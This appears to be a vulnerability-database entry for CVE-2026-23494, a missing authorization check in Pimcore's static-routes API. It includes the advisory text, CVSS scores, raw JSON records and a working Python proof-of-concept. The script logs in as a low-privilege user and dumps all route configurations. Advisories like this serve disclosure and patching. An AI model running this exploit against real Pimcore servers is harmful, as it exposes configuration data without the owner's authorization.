Security Vulnerability Report
中文
CVE-2026-23494 CVSS 4.3 MEDIUM

CVE-2026-23494

Published: 2026-01-15 17:16:08
Last Modified: 2026-01-20 21:47:26

Description

Pimcore is an Open Source Data & Experience Management Platform. Prior to 12.3.1 and 11.5.14, the application fails to enforce proper server-side authorization checks on the API endpoint responsible for reading or listing static routes. In Pimcore, static routes are custom URL patterns defined via the backend interface or the var/config/staticroutes.php file, including details like regex-based patterns, controllers, variables, and priorities. These routes are registered automatically through the PimcoreStaticRoutesBundle and integrated into the MVC routing system. Testing revealed that an authenticated backend user lacking explicit permissions was able to invoke the endpoint (e.g., GET /api/static-routes) and retrieve sensitive route configurations. This vulnerability is fixed in 12.3.1 and 11.5.14.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:pimcore:pimcore:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:pimcore:pimcore:*:*:*:*:*:*:*:* - VULNERABLE
Pimcore < 11.5.14
Pimcore < 12.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-23494 PoC - Pimcore Static Routes API Unauthorized Access # Target: Pimcore < 11.5.14 or < 12.3.1 TARGET_URL = "http://target-host.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_static_routes_unauthorized_access(): """ This PoC demonstrates the unauthorized access to Pimcore static routes API. A low-privilege authenticated user can retrieve all static route configurations. """ session = requests.Session() # Step 1: Login with low-privilege user account login_url = f"{TARGET_URL}/admin/login" login_data = { "username": USERNAME, "password": PASSWORD } print("[*] Attempting to login with low-privilege user...") login_response = session.post(login_url, data=login_data) if login_response.status_code != 200: print("[-] Login failed!") return None print("[+] Login successful!") # Step 2: Access static routes API endpoint (requires no special permissions) api_url = f"{TARGET_URL}/api/static-routes" print(f"[*] Accessing static routes API: {api_url}") api_response = session.get(api_url) if api_response.status_code == 200: print("[+] Successfully retrieved static routes configuration!") routes_data = api_response.json() print(f"[*] Found {len(routes_data.get('data', []))} static routes") # Display sensitive route information for route in routes_data.get('data', []): print(f"\n[Route] {route.get('name', 'N/A')}") print(f" Pattern: {route.get('pattern', 'N/A')}") print(f" Controller: {route.get('controller', 'N/A')}") print(f" Variables: {route.get('variables', 'N/A')}") print(f" Priority: {route.get('priority', 'N/A')}") return routes_data else: print(f"[-] Failed to access static routes. Status: {api_response.status_code}") return None if __name__ == "__main__": exploit_static_routes_unauthorized_access()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23494", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:08.453", "lastModified": "2026-01-20T21:47:25.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pimcore is an Open Source Data & Experience Management Platform. Prior to 12.3.1 and 11.5.14, the application fails to enforce proper server-side authorization checks on the API endpoint responsible for reading or listing static routes. In Pimcore, static routes are custom URL patterns defined via the backend interface or the var/config/staticroutes.php file, including details like regex-based patterns, controllers, variables, and priorities. These routes are registered automatically through the PimcoreStaticRoutesBundle and integrated into the MVC routing system. Testing revealed that an authenticated backend user lacking explicit permissions was able to invoke the endpoint (e.g., GET /api/static-routes) and retrieve sensitive route configurations. This vulnerability is fixed in 12.3.1 and 11.5.14."}, {"lang": "es", "value": "Pimcore es una Plataforma de Gestión de Datos y Experiencias de Código Abierto. Antes de 12.3.1 y 11.5.14, la aplicación falla en aplicar controles de autorización adecuados del lado del servidor en el endpoint de la API responsable de leer o listar rutas estáticas. En Pimcore, las rutas estáticas son patrones de URL personalizados definidos a través de la interfaz de backend o el archivo var/config/staticroutes.php, incluyendo detalles como patrones basados en regex, controladores, variables y prioridades. Estas rutas se registran automáticamente a través del PimcoreStaticRoutesBundle e integradas en el sistema de enrutamiento MVC. Las pruebas revelaron que un usuario de backend autenticado que carecía de permisos explícitos pudo invocar el endpoint (por ejemplo, GET /api/static-routes) y recuperar configuraciones de rutas sensibles. Esta vulnerabilidad se corrige en 12.3.1 y 11.5.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pimcore:pimcore:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.5.14", "matchCriteriaId": "0B2CDE57-18BF-48B4-A0D7-BA3673CD3016"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pimcore:pimcore:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.3.1", "matchCriteriaId": "FD4D552C-238D-49EC-8F68-19EC520EAD57"}]}]}], "references": [{"url": "https://github.com/pimcore/pimcore/pull/18893", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/pimcore/pimcore/releases/tag/v11.5.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pimcore/pimcore/releases/tag/v12.3.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-m3r2-724c-pwgf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-m3r2-724c-pwgf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}